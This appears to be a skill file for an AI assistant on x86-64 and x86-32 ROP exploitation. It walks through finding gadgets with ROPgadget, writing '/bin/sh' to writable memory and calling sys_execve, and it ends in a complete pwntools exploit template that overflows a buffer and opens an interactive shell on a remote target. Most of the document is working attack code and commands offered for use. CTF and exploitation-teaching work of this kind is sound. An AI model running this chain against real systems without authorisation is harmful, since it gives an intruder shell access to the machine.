ROP Syscall Exploitation
This skill helps you create Return-Oriented Programming (ROP) chains that invoke syscalls, typically sys_execve to spawn a shell. This technique is essential for exploiting static binaries or NX-protected binaries where you can't execute shellcode directly.
When to Use This Skill
Use this skill when:
- You have a buffer overflow vulnerability in a static binary
- You need to call
sys_execveto spawn/bin/sh - You're working on CTF challenges with NX protection
- You need to build ROP chains for syscall invocation
- You're analyzing binaries for exploitation potential
Core Concept
The goal is to prepare registers for a syscall and then execute it. For sys_execve (syscall number 59 on x86-64), you need:
| Register | Value | Purpose |
|---|---|---|
rax |
0x3b (59) |
Syscall number for sys_execve |
rdi |
ptr to "/bin/sh" | Path to executable |
rsi |
0 |
No arguments |
rdx |
0 |
No environment variables |
Step-by-Step Exploitation Process
1. Find Register Gadgets
Use ROPgadget to find pop instructions for each register:
ROPgadget --binary <binary> | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
You need gadgets for all four registers. Example output:
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
2. Find Writable Memory
You need a writable location to store the "/bin/sh" string. Use GEF/pwndbg:
gef> vmmap
Look for rw- sections. Common locations:
.dataor.bsssections- Heap memory
- Global Offset Table (GOT) area
3. Find Write Gadgets
To write "/bin/sh" to memory, find a write gadget:
ROPgadget --binary <binary> | grep "mov qword ptr \["
Look for patterns like:
mov qword ptr [rax], rdx ; ret- Write rdx to address in raxmov qword ptr [rdi], rax ; ret- Write rax to address in rdi
4. Find Syscall Instruction
ROPgadget --binary <binary> | grep "syscall ; ret"
Or just syscall if you don't need to return.
5. Build the ROP Chain
The chain has two phases:
Phase 1: Write "/bin/sh" to memory
1. pop rdx, "/bin/sh\x00" # Load string into rdx
2. pop rax, <writable_addr> # Load target address into rax
3. mov qword ptr [rax], rdx # Write string to memory
Phase 2: Prepare registers and call syscall
1. pop rax, 0x3b # sys_execve number
2. pop rdi, <bin_sh_addr> # Pointer to "/bin/sh"
3. pop rsi, 0 # No arguments
4. pop rdx, 0 # No environment
5. syscall # Execute!
Complete Exploit Template
from pwn import *
# === CONFIGURATION ===
binary_name = './vulnerable_binary'
elf = ELF(binary_name)
# === GADGET ADDRESSES ===
# Find these with: ROPgadget --binary <binary> | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
pop_rax = p64(0xXXXXXXXX) # pop rax ; ret
pop_rdi = p64(0xXXXXXXXX) # pop rdi ; ret
pop_rsi = p64(0xXXXXXXXX) # pop rsi ; ret
pop_rdx = p64(0xXXXXXXXX) # pop rdx ; ret
# Find with: ROPgadget --binary <binary> | grep "mov qword ptr \["
write_gadget = p64(0xXXXXXXXX) # mov qword ptr [rax], rdx ; ret
# Find with: ROPgadget --binary <binary> | grep "syscall"
syscall_addr = p64(0xXXXXXXXX) # syscall ; ret
# === MEMORY ADDRESSES ===
# Find writable memory with: vmmap in GEF/pwndbg
writable_addr = 0xXXXXXXXX # Address in rw- section
# === BUILD ROP CHAIN ===
rop = ROP(elf)
# Phase 1: Write "/bin/sh" to writable memory
rop.raw(pop_rdx)
rop.raw(b'/bin/sh\x00')
rop.raw(pop_rax)
rop.raw(p64(writable_addr))
rop.raw(write_gadget)
# Phase 2: Set up syscall registers
rop.raw(pop_rax)
rop.raw(p64(0x3b)) # sys_execve
rop.raw(pop_rdi)
rop.raw(p64(writable_addr)) # ptr to "/bin/sh"
rop.raw(pop_rsi)
rop.raw(p64(0)) # NULL
rop.raw(pop_rdx)
rop.raw(p64(0)) # NULL
rop.raw(syscall_addr)
# === CREATE PAYLOAD ===
# Adjust offset based on your vulnerability
offset = 0x408 # Distance to saved return address
payload = b'A' * offset + rop.chain()
# === EXPLOIT ===
if 'gdb' in args:
p = process(binary_name)
gdb.attach(p, gdbscript='break *0x400bad')
else:
p = remote('target', port)
p.sendline(payload)
p.interactive()
32-bit Variant
For 32-bit binaries, the syscall numbers and registers differ:
| Register | Value | Purpose |
|---|---|---|
eax |
0xb (11) |
Syscall number for execve |
ebx |
ptr to "/bin/sh" | Path to executable |
ecx |
0 |
No arguments |
edx |
0 |
No environment variables |
The ROP chain structure is similar but uses 32-bit registers and addresses.
Alternative: SROP
If you're lacking gadgets to write "/bin/sh" to memory, consider SROP (Sigreturn-Oriented Programming). SROP allows you to control all register values (including RIP) from the stack by crafting a fake sigreturn frame.
Common Issues & Solutions
Issue: Can't find write gadget
Solution: Try SROP instead, or look for alternative write patterns like mov [rdi], rax.
Issue: Writable memory not accessible
Solution: Check if the address is in a valid rw- section. Use vmmap to verify permissions.
Issue: Syscall fails with wrong error
Solution: Verify register values with GDB. Check that:
raxcontains the correct syscall numberrdipoints to a valid "/bin/sh" string- The string is null-terminated
Issue: Segmentation fault
Solution: Check that all gadget addresses are valid and the ROP chain doesn't overflow into invalid memory.
Debugging Tips
- Use GDB with GEF/pwndbg to inspect register values before syscall
- Set breakpoints at key points in your ROP chain
- Check memory to verify "/bin/sh" was written correctly:
gef> x/8xb 0xXXXXXXXX - Verify syscall number matches your architecture (59 for x86-64, 11 for x86-32)
Quick Reference
Syscall Numbers
- x86-64:
sys_execve= 59 (0x3b) - x86-32:
execve= 11 (0xb)
Essential Commands
# Find pop gadgets
ROPgadget --binary <binary> | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
# Find write gadgets
ROPgadget --binary <binary> | grep "mov qword ptr \["
# Find syscall
ROPgadget --binary <binary> | grep "syscall"
# Auto-generate ROP chain (if available)
ROPgadget --binary <binary> --ropchain
Register Setup for sys_execve
rax = 0x3b # syscall number
rdi = ptr_to_bin_sh # "/bin/sh" string address
rsi = 0 # NULL (no args)
rdx = 0 # NULL (no env)
Related Techniques
- Ret2lib: Call existing library functions instead of syscalls
- Ret2shellcode: Execute shellcode directly (requires executable memory)
- SROP: Sigreturn-Oriented Programming for register control
- ROP: General Return-Oriented Programming for arbitrary code execution